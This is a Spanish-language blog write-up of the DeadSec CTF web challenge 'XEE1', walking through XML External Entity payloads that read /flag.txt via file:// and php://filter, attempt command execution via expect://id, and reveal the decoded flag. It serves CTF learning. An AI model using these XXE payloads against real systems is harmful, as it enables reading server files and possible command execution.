Skip to content

[DeadSec CTF] Web Challenge - XEE1

3 minutos de lectura
Posted on:23 de mayo de 2023 at 20:00

Screenshot Reto XEE1 con un login

Empiezo probando a analizar haciendo login (admin/admin) y al ver que devuelve ’admin login success!’ investigo el código.

En el código puedo ver el script donde hace la petición y un comentario “curioso”:

Screenshot Reto XEE1 con un script

Al ver que se hace login y poco más cambio a la pestaña de network del inspector y comienzo con la request, donde puedo ver que se está enviando un XML.

Screenshot Reto XEE1 tab con la request a login.php

Inicio mi busqueda en google e indago si existe alguna vulnerabilidad que pueda aprovechar con XML, efecitvamente con mi “super” búsqueda, vulnerabilidad xml, encuentro una técnica llamada XEE(XML External Entity), así que sigo buscando información y busco algún payload de ejemplo y empiezo las pruebas.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xee SYSTEM "file:///flag.txt" >]>
<user>
    <username>&xee;</username>
    <password>admin</password>

</user>

En el reto ponía que la flag estaba en /flag.txt así que es la primera prueba que hago. Screenshot Reto XEE1 burpsuite

Hemos avanzado, aunque devuelve que no puedo leer la flag je je 🤬

Sigo con la búsqueda para seguir probando cosas, mi siguiente gran prompt en google… rce mediante xee, y empiezo a leer cosas con el módulo expect de PHP, asi que hacemos pruebas con este payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<user>
    <username>&xxe;</username>
    <password>mypass</password>
</user>

Y al obtener esta respuesta podemos deducir que ese módulo de PHP no está habilitado, cosa que en las lecturas previas daban esa posibilidad.

<result>
  <code>0</code>
  <msg></msg>
</result>

Nuevamente acudo a mi gran amigo google y aqui se me va un rato largo (no diré cuanto 🤣), hasta que doy con una posible solución que me hace ir a BurpSuite de cabeza, el payload en cuestión es el siguiente:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt" >]>
<user>
    <username>&xxe;</username>
    <password>mypass</password>
</user>

Aqui de lo que nos aprovechamos es del módulo filter de PHP para encodear(no leer jeje) la flag, y lo metemos como una entidad externa dentro de username con &xee. Bien, lanzamos el repeater de burp con nuestro nuevo payload y obtenemos:

Screenshot Reto XEE1 tab con la request a login.php

😬 Tenemos la flag!! 🤟🏻

ZGVhZHtuMWNlX2JyMF9YRTNfM3pfaDNoM30K

Para obtenerla ya es al gusto… cyberchef, terminal…

> echo 'ZGVhZHtuMWNlX2JyMF9YRTNfM3pfaDNoM30K' | base64 -d
dead{n1ce_br0_XE3_3z_h3h3}

Enlaces interesantes y utilizados